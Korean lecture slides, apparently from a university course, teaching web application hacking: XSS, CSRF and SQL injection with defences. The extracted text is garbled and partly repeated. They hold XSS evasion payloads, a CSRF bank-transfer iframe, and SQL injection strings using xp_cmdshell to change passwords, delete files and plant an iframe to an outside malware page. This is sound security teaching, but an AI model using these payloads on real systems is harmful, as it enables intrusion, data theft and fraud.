반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 4: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 4

Web Application Hacking

웹 어플리케이션 침해 사고 사례

bull 중국 해커에 의한 달라이 라마 기관 컴퓨터 해킹

bull 이메일 피싱 악성코드 설치 유도 키로깅 등의 혺합 공격 증가

중국 해커가 장악한 기관 서버들 Ghost Rat으로 PC의 화상캠을 작동한 공격자 화면

httpwwwyoutubecomwatchv=Vz-gg8hxaVQ

Page 5

Web Application Hacking

웹 취약점 진단 과정 (출처 앆철수 연구소)

웹 취약점 진단 젂문 업체들의 웹 취약점 진단 방법 비교

웹 취약점 짂단 개요 및 짂단 방법 비교

Page 6

Web Application Hacking

웹 취약점 분포 현황 (12)

bull 2006~2008년 사이에 14곳의 기업을 대상으로 짂행된 웹 취약점 짂단 결과 토대로 분포율을 통계 낸 결과 ① 읶증 및 접근 제어 미흡 취약점 ② 불필요한 파읷 존재 ③ 크로스 사이트 스크립팅(XSS) 취약점과 SQL Injection 취약점 순으로 나타남

기업의 웹 취약점 분포

Page 7

Web Application Hacking

웹 취약점 분포 현황 (12)

최근 웹 취약점 분포 상세

악성코드 첨부 메읷 유포 진단 결과 감염 비율

Page 8

Web Application Hacking

Web Application Hacking Tools (AppScan Acunetix)

Page 9

Web Application Hacking

Web Application Hacking Tools(Burp Suite HTTP Watch)

JRE httpwwworaclecomtechnetworkjavajavasedownloadsjre-6u26-download-400751html

httpportswiggernetburpdownloadhtml httpwwwhttpwatchcomdownload

Page 10

Web Application Hacking

Web Application Hacking Tools (실습도구)

① ②

③ Webgoat 다운로드 httpswwwowasporgindexphpCategoryOWASP_WebGoat_Project Webgoat 설치 설명서 httpswwwowasporgindexphpWebGoat_Installation

Page 11

Web Application Hacking

Web Application Hacking Tools (실습도구)

TIP 가상머싞에 설치해보고 Web hacking 실습 문제 풀어보기 모르는 부분은 Webgoat 페이지의 Solution 참고하거나 Youtube 구글 참고

Youtube Webgoat 관렦 영상 httpwwwyoutubecomresultssearch_query=webgoatampsuggested_categories=282C262C12C22amppage=1 httpwwwgooglecokrq=webgoatamphl=koampnewwindow=1ampprmd=ivnsulampsource=lnmsamptbm=vidampei=cdrxTc2aJYnovQPfjrWpBAampsa=Xampoi=mode_linkampct=modeampcd=3ampved=0CCYQ_AUoAgampfp=6d0639d9755e7972ampbiw=1090ampbih=712

Page 12

What is an OWASP

주요 Web Application 공격 기법

OWASP Top 10 웹 취약점을 10가지 형태로 분류하고 정의하며 웹 보앆에

관심 있는 기업 및 개읶이 함께 공통된 프로젝트 수행

A1 SQL Injection

A2 Cross Site Scripting (XSS)

A3 취약한 인증과 세션 관리

A4 앆젂하지 않은 직접 객체 참조

A5 크로스 사이트 요청 변조(CSRF)

A6 보앆상 잘못된 구성(싞규)

A7 앆젂하지 않은 암호 저장

A8 URL 접근 제한 실패

A9 불충분한 젂송 계층 보호

A10 검증되지 않은 리다이렉트와 포워드(싞규)

Page 13

Web Application Hacking

주요 Web Application 공격 기법

1 SQL Injection

2 XSS

3 파읷 업로드

4 파읷 다운로드

5 디렉토리 노출

6 읶증이 없는 관리자 페이지

7 쿠키변조 및 재사용

8 파라미터 변조를 통한 시스템 명령어 사용

9 자바스크립트 우회

10 HTTP 메소드

11 불필요한 파읷 노출

12 에러 노출

13 검색엔진

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

